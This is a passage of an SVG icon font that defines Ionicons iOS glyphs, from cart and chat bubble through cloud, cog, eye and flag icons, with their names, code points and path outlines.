d="M354 288c18 0 30 -13 30 -31v-176c0 -18 -12 -33 -30 -33h-320c-18 0 -34 15 -34 33v176c0 18 16 31 34 31h13v16h34v-16h13c32 36 43 48 55 48h88c12 0 23 -12 55 -48h62zM192 88c47 0 86 38 86 85s-39 85 -86 85s-86 -38 -86 -85s39 -85 86 -85zM305 239v17h-17v-17h17
zM192 242c38 0 70 -31 70 -69s-32 -69 -70 -69s-70 31 -70 69s32 69 70 69zM192 141c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32z" />
    <glyph glyph-name="ion-ios-cart-outline" unicode="&#xf3f7;" horiz-adv-x="384" 
d="M96 48c13 0 24 -11 24 -24s-11 -24 -24 -24s-24 11 -24 24s11 24 24 24zM96 16c4 0 8 4 8 8s-4 8 -8 8s-8 -4 -8 -8s4 -8 8 -8zM320 48c13 0 24 -11 24 -24s-11 -24 -24 -24s-24 11 -24 24s11 24 24 24zM320 16c4 0 8 4 8 8s-4 8 -8 8s-8 -4 -8 -8s4 -8 8 -8zM384 320
l-16 -128l-271 -48l5 -30c7 -34 21 -34 26 -34h240v-16h-240c-11 0 -21 5 -28 14c-6 8 -11 19 -13 33l-43 234v0c-2 8 -3 12 -7 16c-6 5 -18 7 -37 7v16c23 0 38 -4 47 -11c7 -6 10 -14 12 -21zM355 206l11 99l-304 31l32 -176z" />
    <glyph glyph-name="ion-ios-cart" unicode="&#xf3f8;" horiz-adv-x="384" 
d="M96 48c13 0 24 -11 24 -24s-11 -24 -24 -24s-24 11 -24 24s11 24 24 24zM320 48c13 0 24 -11 24 -24s-11 -24 -24 -24s-24 11 -24 24s11 24 24 24zM384 320l-16 -128l-271 -48l5 -30c7 -34 21 -34 26 -34h240v-16h-240c-11 0 -21 5 -28 14c-6 8 -11 19 -13 33l-43 234v0
c-2 8 -3 12 -7 16c-6 5 -18 7 -37 7v16c23 0 38 -4 47 -11c7 -6 10 -14 12 -21z" />
    <glyph glyph-name="ion-ios-chatboxes-outline" unicode="&#xf3f9;" horiz-adv-x="416" 
d="M16 384v-192h96v-16h-112v224h288v-112h-16v96h-256zM128 272h288v-224h-48v-64h-13l-64 64h-163v224zM400 64v192h-256v-192h153l55 -55v55h48z" />
    <glyph glyph-name="ion-ios-chatboxes" unicode="&#xf3fa;" horiz-adv-x="416" 
d="M288 400v-112h-176v-112h-112v224h288zM128 272h288v-224h-48v-64h-13l-64 64h-163v224z" />
    <glyph glyph-name="ion-ios-chatbubble-outline" unicode="&#xf3fb;" horiz-adv-x="384" 
d="M192 336c-97 0 -176 -62 -176 -138c0 -26 10 -51 27 -73c0 -1 0 -2 1 -3s2 -1 2 -2c4 -6 6 -13 6 -20c0 -3 1 -3 -13 -47l39 17v0c2 1 10 4 11 4h1v0c5 2 10 3 16 3c5 0 9 -1 14 -2l1 -1h2c19 -6 41 -10 70 -10c48 0 92 15 125 40c32 25 50 58 50 94
c0 76 -79 138 -176 138zM192 352v0c106 0 192 -69 192 -154s-85 -150 -191 -150c-27 0 -52 3 -75 11h-2v0c-3 1 -6 2 -10 2s-9 -1 -12 -2h1h-1c-1 0 -9 -4 -10 -4l-50 -22l-2 -1h-3h-3c-6 1 -8 6 -7 10v0s17 57 17 58c0 4 -1 8 -3 11v0v0v0l1 -1l-4 4c-19 24 -30 53 -30 84
c0 85 86 154 192 154z" />
    <glyph glyph-name="ion-ios-chatbubble" unicode="&#xf3fc;" horiz-adv-x="384" 
d="M192 352v0c106 0 192 -69 192 -154s-85 -150 -191 -150c-27 0 -52 3 -75 11h-2v0c-3 1 -6 2 -10 2s-9 -1 -12 -2h1h-1c-1 0 -9 -4 -10 -4l-50 -22l-2 -1h-3h-3c-6 1 -8 6 -7 10v0s17 57 17 58c0 4 -1 8 -3 11v0v0v0l1 -1l-4 4c-19 24 -30 53 -30 84c0 85 86 154 192 154z
" />
    <glyph glyph-name="ion-ios-checkmark-empty" unicode="&#xf3fd;" horiz-adv-x="207" 
d="M74 118c-2 -2 -6 -4 -9 -4s-7 2 -9 4l-56 56l18 18l47 -47l125 126l17 -18z" />
    <glyph glyph-name="ion-ios-checkmark-outline" unicode="&#xf3fe;" horiz-adv-x="416" 
d="M292 271l18 -18l-134 -135c-2 -2 -6 -4 -9 -4s-7 2 -9 4l-56 56l18 18l47 -47zM208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM208 1c105 0 191 86 191 191s-86 191 -191 191s-191 -86 -191 -191s86 -191 191 -191z" />
    <glyph glyph-name="ion-ios-checkmark" unicode="&#xf3ff;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM176 118l134 135l-18 18l-125 -126l-47 47l-18 -18l56 -56c2 -2 6 -4 9 -4s7 2 9 4z" />
    <glyph glyph-name="ion-ios-circle-filled" unicode="&#xf400;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM208 1c105 0 191 86 191 191s-86 191 -191 191s-191 -86 -191 -191s86 -191 191 -191zM208 352c88 0 160 -72 160 -160s-72 -160 -160 -160s-160 72 -160 160s72 160 160 160z" />
    <glyph glyph-name="ion-ios-circle-outline" unicode="&#xf401;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM208 1c105 0 191 86 191 191s-86 191 -191 191s-191 -86 -191 -191s86 -191 191 -191z" />
    <glyph glyph-name="ion-ios-clock-outline" unicode="&#xf402;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM208 1c105 0 191 86 191 191s-86 191 -191 191s-191 -86 -191 -191s86 -191 191 -191zM208 192v128h17v-145h-113v17h96z" />
    <glyph glyph-name="ion-ios-clock" unicode="&#xf403;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM225 175v145h-17v-128h-96v-17h113z" />
    <glyph glyph-name="ion-ios-close-empty" unicode="&#xf404;" horiz-adv-x="192" 
d="M180 288l12 -12l-84 -84l84 -84l-12 -12l-84 84l-84 -84l-12 12l84 84l-84 84l12 12l84 -84z" />
    <glyph glyph-name="ion-ios-close-outline" unicode="&#xf405;" horiz-adv-x="416" 
d="M355 339c81 -81 81 -213 0 -294s-213 -81 -294 0s-81 213 0 294s213 81 294 0zM343 57c74 74 74 196 0 270s-196 74 -270 0s-74 -196 0 -270s196 -74 270 0zM292 288l12 -12l-84 -84l84 -84l-12 -12l-84 84l-84 -84l-12 12l84 84l-84 84l12 12l84 -84z" />
    <glyph glyph-name="ion-ios-close" unicode="&#xf406;" horiz-adv-x="416" 
d="M355 339c81 -81 81 -213 0 -294s-213 -81 -294 0s-81 213 0 294s213 81 294 0zM304 108l-84 84l84 84l-12 12l-84 -84l-84 84l-12 -12l84 -84l-84 -84l12 -12l84 84l84 -84z" />
    <glyph glyph-name="ion-ios-cloud-download-outline" unicode="&#xf407;" 
d="M161 67l55 -54v242h16v-242l55 54l12 -12l-75 -73l-74 73zM367 284c45 0 81 -37 81 -82s-37 -82 -82 -82v0h-101v16h97h4c37 0 66 30 66 66s-29 67 -66 67h-15v20c0 55 -46 97 -101 97c-38 0 -73 -22 -90 -56l-6 -14l-14 7c-6 3 -13 5 -20 5c-22 0 -40 -18 -44 -39l-1 -9
l-9 -3c-30 -10 -50 -36 -50 -67c0 -40 33 -74 74 -74h91v-16h-91c-50 0 -90 40 -90 89c0 39 26 71 61 83c5 28 29 51 59 51c10 0 18 -2 26 -6c19 39 59 65 105 65c64 0 117 -51 117 -115c0 -1 -1 -2 -1 -3z" />
    <glyph glyph-name="ion-ios-cloud-download" unicode="&#xf408;" 
d="M216 13v107h16v-107l55 54l12 -12l-75 -73l-74 73l11 12zM367 284c45 0 81 -37 81 -82s-37 -82 -82 -82h-134v135h-16v-135h-35h-21h-70c-50 0 -90 40 -90 89c0 39 26 71 61 83c5 28 29 51 59 51c10 0 18 -2 26 -6c19 39 59 65 105 65c64 0 117 -51 117 -115
c0 -1 -1 -2 -1 -3z" />
    <glyph glyph-name="ion-ios-cloud-outline" unicode="&#xf409;" 
d="M367 215c45 0 81 -37 81 -83c0 -45 -37 -84 -82 -84h-276c-50 0 -90 42 -90 92c0 40 26 71 61 83c5 28 29 52 59 52c10 0 18 -2 26 -6c19 39 59 67 105 67c64 0 117 -53 117 -117c0 -1 -1 -3 -1 -4zM366 64c37 0 66 32 66 69s-29 67 -66 67h-15v21c0 56 -46 99 -101 99
c-38 0 -73 -23 -90 -58l-6 -14l-14 7c-6 3 -13 5 -20 5c-22 0 -40 -17 -44 -39l-1 -9l-9 -3c-30 -10 -50 -37 -50 -69c0 -41 33 -76 74 -76h272h4z" />
    <glyph glyph-name="ion-ios-cloud-upload-outline" unicode="&#xf40a;" 
d="M161 188l-11 11l74 75l75 -75l-12 -11l-55 54v-242h-16v242zM367 264c45 0 81 -39 81 -85s-37 -83 -82 -83v0h-101v16h97h4c37 0 66 30 66 67s-29 70 -66 70l-15 1v20c0 56 -46 99 -101 99c-38 0 -73 -23 -90 -58l-6 -13l-14 6c-6 3 -13 5 -20 5c-22 0 -40 -17 -44 -39
l-1 -9l-9 -3c-30 -10 -50 -39 -50 -71c0 -41 33 -75 74 -75h91v-16h-91c-50 0 -90 40 -90 90c0 40 26 74 61 86c5 28 29 52 59 52c10 0 18 -2 26 -6c19 39 59 66 105 66c64 0 117 -52 117 -116c0 -1 -1 -3 -1 -4z" />
    <glyph glyph-name="ion-ios-cloud-upload" unicode="&#xf40b;" 
d="M216 0v96h16v-96h-16zM367 264c45 0 81 -39 81 -85s-37 -83 -82 -83h-134v146l55 -54l12 11l-75 75l-74 -75l11 -11l55 54v-146h-35h-31h-60c-50 0 -90 40 -90 90c0 40 26 74 61 86c5 28 29 52 59 52c10 0 18 -2 26 -6c19 39 59 66 105 66c64 0 117 -52 117 -116
c0 -1 -1 -3 -1 -4z" />
    <glyph glyph-name="ion-ios-cloud" unicode="&#xf40c;" 
d="M367 215c45 0 81 -37 81 -83c0 -45 -37 -84 -82 -84h-276c-50 0 -90 42 -90 92c0 40 26 71 61 83c5 28 29 52 59 52c10 0 18 -2 26 -6c19 39 59 67 105 67c64 0 117 -53 117 -117c0 -1 -1 -3 -1 -4z" />
    <glyph glyph-name="ion-ios-cloudy-night-outline" unicode="&#xf40d;" horiz-adv-x="384" 
d="M125 224c-34 0 -63 -28 -63 -62v-12s1 -10 1 -10c-5 0 -12 -1 -14 -1c-19 -3 -33 -18 -33 -37c0 -10 3 -19 10 -26s16 -11 26 -11h157c27 0 49 22 49 49s-22 50 -49 50c-2 0 -4 -1 -6 -1l-14 -2l-3 14c-3 14 -11 26 -22 35s-25 14 -39 14zM125 240v0c37 0 68 -26 76 -61
h8c36 0 65 -29 65 -65s-29 -66 -65 -66h-157c-28 0 -52 24 -52 53c0 27 21 51 47 53v8c0 43 35 78 78 78zM361 142c8 0 15 2 23 4c-4 -7 -9 -14 -14 -20c-21 -24 -50 -41 -84 -45c4 6 6 12 8 19c19 4 36 13 50 25c-18 1 -35 6 -50 13c-23 11 -42 29 -56 51
c-14 21 -22 48 -22 75c0 15 2 30 7 44c-24 -12 -43 -33 -53 -59c-5 2 -12 4 -18 5c14 36 45 65 82 77c8 2 16 4 24 5c-5 -6 -9 -13 -12 -20c-8 -16 -12 -34 -12 -52c0 -32 12 -63 35 -86s54 -36 86 -36h6z" />
    <glyph glyph-name="ion-ios-cloudy-night" unicode="&#xf40e;" horiz-adv-x="384" 
d="M361 142c8 0 15 2 23 4c-4 -7 -9 -15 -14 -21c-21 -24 -50 -40 -84 -44h-3c4 10 7 21 7 32c0 22 -9 43 -24 58c-14 15 -33 23 -53 24c-6 16 -16 29 -29 40c-10 8 -20 13 -32 17v2c14 36 45 65 82 77c8 2 16 4 24 5c-5 -6 -9 -13 -12 -20c-8 -16 -12 -34 -12 -52
c0 -32 12 -63 35 -86s54 -36 86 -36h6zM125 239v0c37 0 68 -26 76 -61h8c36 0 65 -29 65 -65s-29 -66 -65 -66h-157c-28 0 -52 24 -52 53c0 27 21 51 47 53v7c0 43 35 79 78 79z" />
    <glyph glyph-name="ion-ios-cloudy-outline" unicode="&#xf40f;" horiz-adv-x="274" 
d="M125 272c-34 0 -63 -28 -63 -62v-12s1 -10 1 -10c-6 0 -12 -1 -14 -1c-19 -3 -33 -18 -33 -37c0 -10 3 -19 10 -26s16 -11 26 -11h157c27 0 49 22 49 49s-22 50 -49 50c-2 0 -4 -1 -6 -1l-14 -2l-3 14c-3 14 -11 26 -22 35s-25 14 -39 14zM125 288v0c37 0 68 -26 76 -61
h8c36 0 65 -29 65 -65s-29 -66 -65 -66h-157c-28 0 -52 24 -52 53c0 27 21 51 47 53v8c0 43 35 78 78 78z" />
    <glyph glyph-name="ion-ios-cloudy" unicode="&#xf410;" horiz-adv-x="274" 
d="M125 288v0c37 0 68 -26 76 -61h8c36 0 65 -29 65 -65s-29 -66 -65 -66h-157c-28 0 -52 24 -52 53c0 27 21 51 47 53v8c0 43 35 78 78 78z" />
    <glyph glyph-name="ion-ios-cog-outline" unicode="&#xf411;" horiz-adv-x="384" 
d="M384 175l-33 -8l-3 -14l27 -20l-12 -30l-34 5l-8 -11l17 -29l-23 -23l-29 17l-10 -7l5 -34l-29 -12l-21 27l-14 -3l-8 -33h-32l-9 33l-13 3l-21 -28l-29 12l4 34l-11 8l-30 -19l-23 23l18 31l-7 11l-35 -5l-12 29l28 22l-2 12l-35 9v32l35 9l2 12l-29 22l12 30l36 -5
l7 10l-19 32l22 22l32 -19l11 8l-4 35l29 13l22 -29l12 2l9 35h32l9 -35l12 -2l22 28l29 -12l-5 -35l11 -8l30 18l22 -23l-17 -30l7 -10l35 5l12 -30l-28 -21l3 -13l33 -9v-32zM356 127l-26 20l6 33l32 8v7l-32 8l-6 33l26 19l-3 7l-32 -5l-19 27l17 28l-5 6l-28 -17l-28 18
l5 34l-6 2l-20 -26l-32 6l-8 33h-7l-9 -33l-32 -6l-20 27l-7 -3l5 -34l-28 -18l-9 6l-21 12l-5 -5l18 -30l-18 -27l-33 5l-3 -7l27 -20l-6 -32l-33 -8v-7l33 -9l6 -32l-27 -20l3 -6l33 4l18 -27l-17 -29l5 -6l29 18l28 -18l-5 -33l7 -3l19 27l33 -7l8 -31h8l7 31l33 7
l20 -26l7 3l-5 32l26 18l28 -16l5 5l-16 27l19 28l32 -4zM192 320c71 0 128 -57 128 -128s-57 -128 -128 -128s-128 57 -128 128s57 128 128 128zM80 192c0 -7 1 -15 2 -22l104 28l28 104c-7 1 -15 2 -22 2c-30 0 -58 -12 -79 -33s-33 -49 -33 -79zM192 80c27 0 53 10 73 27
l-75 75l-104 -28c6 -15 15 -29 27 -41c21 -21 49 -33 79 -33zM276 118c18 20 28 47 28 74c0 30 -12 58 -33 79c-12 12 -26 22 -42 27l-28 -105z" />
    <glyph glyph-name="ion-ios-cog" unicode="&#xf412;" horiz-adv-x="384" 
d="M229 298c16 -5 30 -15 42 -27c21 -21 33 -49 33 -79c0 -27 -10 -54 -28 -74l-75 75zM214 302l-28 -104l-104 -28c-1 7 -2 15 -2 22c0 30 12 58 33 79s49 33 79 33c7 0 15 -1 22 -2zM86 154l104 28l75 -75c-20 -17 -46 -27 -73 -27c-30 0 -58 12 -79 33
c-12 12 -21 26 -27 41zM384 175l-33 -8l-3 -14l27 -20l-12 -30l-34 5l-8 -11l17 -29l-23 -23l-29 17l-10 -7l5 -34l-29 -12l-21 27l-14 -3l-8 -33h-32l-9 33l-13 3l-21 -28l-29 12l4 34l-11 8l-30 -19l-23 23l18 31l-7 11l-35 -5l-12 29l28 22l-2 12l-35 9v32l35 9l2 12
l-29 22l12 30l36 -5l7 10l-19 32l22 22l32 -19l11 8l-4 35l29 13l22 -29l12 2l9 35h32l9 -35l12 -2l22 28l29 -12l-5 -35l11 -8l30 18l22 -23l-17 -30l7 -10l35 5l12 -30l-28 -21l3 -13l33 -9v-32zM192 64c71 0 128 57 128 128s-57 128 -128 128s-128 -57 -128 -128
s57 -128 128 -128z" />
    <glyph glyph-name="ion-ios-color-filter-outline" unicode="&#xf413;" horiz-adv-x="384" 
d="M302 236c47 -13 82 -57 82 -108c0 -62 -50 -112 -112 -112c-31 0 -60 13 -80 34c-20 -21 -49 -34 -80 -34c-62 0 -112 50 -112 112c0 51 35 95 82 108c-1 7 -2 13 -2 20c0 62 50 112 112 112s112 -50 112 -112c0 -7 -1 -13 -2 -20zM96 256c0 -6 0 -12 1 -17
c5 1 10 1 15 1c31 0 60 -13 80 -34c20 21 49 34 80 34c5 0 10 0 15 -1c1 5 1 11 1 17c0 53 -43 96 -96 96s-96 -43 -96 -96zM208 128c0 6 0 12 -1 17c-5 -1 -10 -1 -15 -1s-10 0 -15 1c-1 -5 -1 -11 -1 -17c0 -20 6 -38 16 -53c10 15 16 33 16 53zM192 160c3 0 7 1 10 1
c-3 7 -6 14 -10 20c-4 -6 -7 -13 -10 -20c3 0 7 -1 10 -1zM166 164c4 11 9 21 16 30c-18 18 -43 30 -70 30c-3 0 -7 -1 -10 -1c10 -29 34 -51 64 -59zM202 194c7 -9 12 -19 16 -30c30 8 54 30 64 59c-3 0 -7 1 -10 1c-27 0 -52 -12 -70 -30zM112 32c27 0 52 12 70 30
c-14 19 -22 41 -22 66c0 7 1 13 2 20c-36 10 -64 37 -76 72c-40 -11 -70 -48 -70 -92c0 -53 43 -96 96 -96zM272 32c53 0 96 43 96 96c0 44 -30 81 -70 92c-12 -35 -40 -62 -76 -72c1 -7 2 -13 2 -20c0 -25 -8 -47 -22 -66c18 -18 43 -30 70 -30z" />
    <glyph glyph-name="ion-ios-color-filter" unicode="&#xf414;" horiz-adv-x="384" 
d="M302 236c47 -13 82 -57 82 -108c0 -62 -50 -112 -112 -112c-31 0 -60 13 -80 34c-20 -21 -49 -34 -80 -34c-62 0 -112 50 -112 112c0 51 35 95 82 108c-1 7 -2 13 -2 20c0 62 50 112 112 112s112 -50 112 -112c0 -7 -1 -13 -2 -20zM192 53l1 -2c3 3 6 7 9 11
c14 19 22 41 22 66c0 7 -1 13 -2 20c36 10 64 37 76 72c2 5 3 10 4 15c-1 0 -2 1 -3 1v1c-4 1 -8 1 -12 2c-5 1 -10 1 -15 1c-31 0 -60 -13 -80 -34c-20 21 -49 34 -80 34c-5 0 -10 0 -15 -1c-4 -1 -8 -1 -12 -2v-1c-1 0 -2 -1 -3 -1c1 -5 2 -10 4 -15c12 -35 40 -62 76 -72
c-1 -7 -2 -13 -2 -20c0 -25 8 -47 22 -66c3 -4 6 -8 9 -11zM207 145c1 -5 1 -11 1 -17c0 -20 -6 -38 -16 -53c-10 15 -16 33 -16 53c0 6 0 12 1 17c5 -1 10 -1 15 -1s10 0 15 1zM282 223c-10 -29 -34 -51 -64 -59c-4 11 -9 21 -16 30c18 18 43 30 70 30c3 0 7 -1 10 -1z
M202 161c-3 0 -7 -1 -10 -1s-7 1 -10 1c3 7 6 14 10 20c4 -6 7 -13 10 -20zM112 224c27 0 52 -12 70 -30c-7 -9 -12 -19 -16 -30c-30 8 -54 30 -64 59c3 0 7 1 10 1z" />
    <glyph glyph-name="ion-ios-color-wand-outline" unicode="&#xf415;" horiz-adv-x="384" 
d="M128 298l256 -256l-34 -34l-256 256zM149 232l201 -201l11 11l-201 202zM120 344v40h16v-40h-16zM120 140v40h16v-40h-16zM216 256v16h40v-16h-40zM0 256v16h40v-16h-40zM47 354l29 -29l-12 -11l-28 28zM76 198l-29 -28l-11 11l28 28zM220 342l-28 -28l-12 11l29 29z" />
    <glyph glyph-name="ion-ios-color-wand" unicode="&#xf416;" horiz-adv-x="396" 
d="M140 289l256 -257l-34 -34l-256 257zM124 322v64h32v-64h-32zM124 118v64h32v-64h-32zM216 238v32h64v-32h-64zM246 336l-45 -45l-23 22l45 46zM34 336l23 23l45 -46l-23 -22zM34 169l45 45l23 -22l-45 -46zM0 238v32h64v-32h-64z" />
    <glyph glyph-name="ion-ios-compose-outline" unicode="&#xf417;" horiz-adv-x="384" 
d="M304 32v208l16 16v-240h-320v304h256l-16 -16h-224v-272h288zM174 164l171 171l11 -11l-180 -180h-32v32l180 180l11 -11l-171 -171zM380 368c2 -3 4 -6 4 -10s-2 -7 -4 -10l-12 -12l-21 21l-11 11v0l12 12c3 2 6 4 10 4s7 -2 10 -4z" />
    <glyph glyph-name="ion-ios-compose" unicode="&#xf418;" horiz-adv-x="384" 
d="M192 128l128 128v-240h-320v304h256l-128 -128v-64h64zM324 356l32 -32l-180 -180h-32v32zM380 368c2 -3 4 -6 4 -10s-2 -7 -4 -10l-12 -12l-21 21l-11 11v0l12 12c3 2 6 4 10 4s7 -2 10 -4z" />
    <glyph glyph-name="ion-ios-contact-outline" unicode="&#xf419;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM208 383c-105 0 -191 -86 -191 -191c0 -47 17 -89 45 -122c18 8 62 24 90 32c2 1 3 0 3 10c0 11 -1 18 -4 24c-4 8 -7 20 -9 31c-4 5 -10 15 -14 33c-3 16 -1 22 1 28v2
c1 4 0 23 -3 38c-2 10 1 34 15 52c9 12 27 26 58 28h18c32 -2 49 -16 58 -28c14 -18 17 -42 15 -52c-3 -15 -4 -34 -3 -38c0 0 1 -1 1 -2c2 -6 3 -12 0 -28c-4 -18 -10 -27 -14 -32c-2 -11 -5 -24 -9 -32c-3 -7 -6 -15 -6 -23c0 -10 0 -10 2 -11c27 -8 73 -24 93 -32
c28 33 45 76 45 122c0 105 -86 191 -191 191z" />
    <glyph glyph-name="ion-ios-contact" unicode="&#xf41a;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM208 1c59 0 111 27 146 69c-20 8 -66 24 -93 32c-2 1 -3 1 -3 11c0 8 4 16 7 23c4 8 7 21 9 32c4 5 10 14 14 32c3 16 2 22 0 28c0 0 -1 1 -1 2c-1 4 0 23 3 38c2 10 -1 34 -15 52
c-9 12 -26 26 -58 28h-18c-31 -2 -49 -16 -58 -28c-14 -18 -17 -42 -15 -52c3 -15 4 -34 3 -38v-2c-2 -6 -4 -12 -1 -28c4 -18 10 -28 14 -33c2 -11 5 -23 9 -31c3 -6 4 -13 4 -24c0 -10 -1 -9 -3 -10c-28 -8 -72 -24 -90 -32c35 -42 87 -69 146 -69z" />
    <glyph glyph-name="ion-ios-copy-outline" unicode="&#xf41b;" horiz-adv-x="288" 
d="M192 352v-64h64v-16h-80v80h16zM213 384l75 -75v-261h-48v-48h-240v336h48v48h165zM224 16v32h-176v272h-32v-304h208zM272 64v238l-65 66h-143v-304h208z" />
    <glyph glyph-name="ion-ios-copy" unicode="&#xf41c;" horiz-adv-x="288" 
d="M32 32h16h192v-32h-240v336h32v-288v-16zM213 384l75 -75v-261h-48h-192v288v48h165zM256 272v16h-64v64h-16v-80h80z" />
    <glyph glyph-name="ion-ios-crop-strong" unicode="&#xf41d;" horiz-adv-x="384" 
d="M64 336v48h32v-48h-32zM96 96h176v-32h-208v208h32v-176zM336 64v32h48v-32h-48zM0 320h320v-320h-32v288h-288v32z" />
    <glyph glyph-name="ion-ios-crop" unicode="&#xf41e;" horiz-adv-x="384" 
d="M64 336v48h16v-48h-16zM80 80h208v-16h-224v224h16v-208zM336 64v16h48v-16h-48zM0 320h320v-320h-16v304h-304v16z" />
    <glyph glyph-name="ion-ios-download-outline" unicode="&#xf41f;" horiz-adv-x="320" 
d="M192 304h128v-304h-320v304h128v-16h-112v-272h288v272h-112v16zM97 196l55 -55v243h16v-243l55 55l11 -12l-74 -74l-74 74z" />
    <glyph glyph-name="ion-ios-download" unicode="&#xf420;" horiz-adv-x="320" 
d="M168 304h152v-304h-320v304h152v-163l-55 55l-11 -12l74 -74l74 74l-11 12l-55 -55v163zM152 304v80h16v-80h-16z" />
    <glyph glyph-name="ion-ios-drag" unicode="&#xf421;" horiz-adv-x="352" 
d="M0 128v16h352v-16h-352zM0 184v16h352v-16h-352zM0 240v16h352v-16h-352z" />
    <glyph glyph-name="ion-ios-email-outline" unicode="&#xf422;" horiz-adv-x="384" 
d="M0 320h384v-256h-384v256zM192 180l163 124h-326zM16 80h352v214l-115 -88l68 -77l-2 -2l-79 70l-48 -37l-48 37l-79 -70l-2 2l68 77l-115 88v-214z" />
    <glyph glyph-name="ion-ios-email" unicode="&#xf423;" horiz-adv-x="384" 
d="M384 64h-384v242l131 -100l-68 -77l2 -2l79 70l48 -37l48 37l79 -70l2 2l-68 77l131 100v-242zM376 320l-184 -140l-184 140h368z" />
    <glyph glyph-name="ion-ios-eye-outline" unicode="&#xf424;" horiz-adv-x="384" 
d="M383 192l1 -1l-6 -6c-21 -21 -47 -48 -78 -69c-36 -24 -72 -36 -108 -36c-83 0 -130 49 -185 105l-7 7l1 1c39 40 67 64 94 81c32 20 63 30 97 30c83 0 146 -60 191 -112zM192 288c-62 0 -111 -36 -170 -96c24 -24 48 -50 76 -68c30 -20 60 -28 94 -28
c75 0 133 56 171 95c-26 29 -50 50 -74 66c-32 21 -64 31 -97 31zM192 112c-44 0 -80 36 -80 80s36 80 80 80s80 -36 80 -80s-36 -80 -80 -80zM192 256c-35 0 -64 -29 -64 -64s29 -64 64 -64s64 29 64 64s-29 64 -64 64zM224 192h16v0c0 -26 -22 -48 -48 -48s-48 21 -48 48
s22 48 48 48v-16c-16 0 -32 -13 -32 -31s15 -33 32 -33s32 14 32 32v0z" />
    <glyph glyph-name="ion-ios-eye" unicode="&#xf425;" horiz-adv-x="384" 
d="M383 192l1 -1l-6 -6c-21 -21 -47 -48 -78 -69c-36 -24 -72 -36 -108 -36c-83 0 -130 49 -185 105l-7 7l1 1c39 40 67 64 94 81c32 20 63 30 97 30c83 0 146 -60 191 -112zM192 112c44 0 80 36 80 80s-36 80 -80 80s-80 -36 -80 -80s36 -80 80 -80zM186 221
c0 -19 16 -35 35 -35c7 0 14 2 19 6v0c0 -27 -22 -48 -48 -48s-48 21 -48 48s22 48 48 48c-4 -5 -6 -12 -6 -19z" />
    <glyph glyph-name="ion-ios-fastforward-outline" unicode="&#xf426;" 
d="M16 293v-202l184 101zM240 292v0v-78v-27v-95l176 100zM224 320v0l224 -128l-224 -128v123l-224 -123v256l224 -123v123z" />
    <glyph glyph-name="ion-ios-fastforward" unicode="&#xf427;" 
d="M224 320v0l224 -128l-224 -128v123l-224 -123v256l224 -123v123z" />
    <glyph glyph-name="ion-ios-filing-outline" unicode="&#xf428;" horiz-adv-x="352" 
d="M288 320l64 -96v-160h-176h-176v160l64 96h224zM333 224l-45 68v-68h45zM80 304v-80h48c0 -26 22 -48 48 -48s48 22 48 48h48v80h-192zM64 292l-45 -68h45v68zM336 80v128h-98c-7 -28 -32 -48 -62 -48s-55 20 -62 48h-98v-128h160h160z" />
    <glyph glyph-name="ion-ios-filing" unicode="&#xf429;" horiz-adv-x="352" 
d="M176 160c30 0 55 20 62 48h114v-144h-176h-176v144h114c7 -28 32 -48 62 -48zM64 224h-7h-57l64 96v0v-80h16v80h192v-80h16v80v0l64 -96h-56h-8h-16h-8h-40c0 -26 -22 -48 -48 -48s-48 22 -48 48h-39h-9h-16z" />
    <glyph glyph-name="ion-ios-film-outline" unicode="&#xf42a;" horiz-adv-x="400" 
d="M0 360h400v-336h-400v336zM72 40v48h-56v-48h56zM72 104v48h-56v-48h56zM72 168v48h-56v-48h56zM72 232v48h-56v-48h56zM72 296v48h-56v-48h56zM312 40v144h-224v-144h224zM312 200v144h-224v-144h224zM384 40v48h-56v-48h56zM384 104v48h-56v-48h56zM384 168v48h-56v-48
h56zM384 232v48h-56v-48h56zM384 296v48h-56v-48h56z" />
    <glyph glyph-name="ion-ios-film" unicode="&#xf42b;" horiz-adv-x="400" 
d="M0 360h400v-336h-400v336zM72 40v48h-56v-48h56zM72 104v48h-56v-48h56zM72 168v48h-56v-48h56zM72 232v48h-56v-48h56zM72 296v48h-56v-48h56zM312 184v16h-224v-16h224zM384 40v48h-56v-48h56zM384 104v48h-56v-48h56zM384 168v48h-56v-48h56zM384 232v48h-56v-48h56z
M384 296v48h-56v-48h56z" />
    <glyph glyph-name="ion-ios-flag-outline" unicode="&#xf42c;" horiz-adv-x="256" 
d="M240 336c6 1 11 1 16 2v-16v-157c-5 -1 -10 -1 -16 -2c-11 -1 -24 -3 -39 -3c-25 0 -47 4 -69 9s-42 13 -64 13c-30 0 -46 -5 -52 -7v-143h-16v142v162v2l3 3c2 1 18 11 65 11c24 0 45 -4 67 -9c21 -4 42 -11 65 -11c15 0 29 3 40 4zM240 179v0v141c-11 -1 -25 -4 -40 -4
c-25 0 -46 6 -68 11s-42 9 -64 9c-30 0 -46 -5 -52 -7v-137c10 3 26 6 52 6c24 0 45 -8 67 -13c21 -4 43 -9 66 -9c15 0 28 2 39 3z" />
    <glyph glyph-name="ion-ios-flag" unicode="&#xf42d;" horiz-adv-x="256" 
d="M240 336c6 1 11 1 16 2v-16v-157c-5 -1 -10 -1 -16 -2c-11 -1 -24 -3 -39 -3c-25 0 -47 4 -69 9s-42 13 -64 13c-30 0 -46 -5 -52 -7v-143h-16v142v162v2l3 3c2 1 18 11 65 11c24 0 45 -4 67 -9c21 -4 42 -11 65 -11c15 0 29 3 40 4z" />
    <glyph glyph-name="ion-ios-flame-outline" unicode="&#xf42e;" horiz-adv-x="256" 
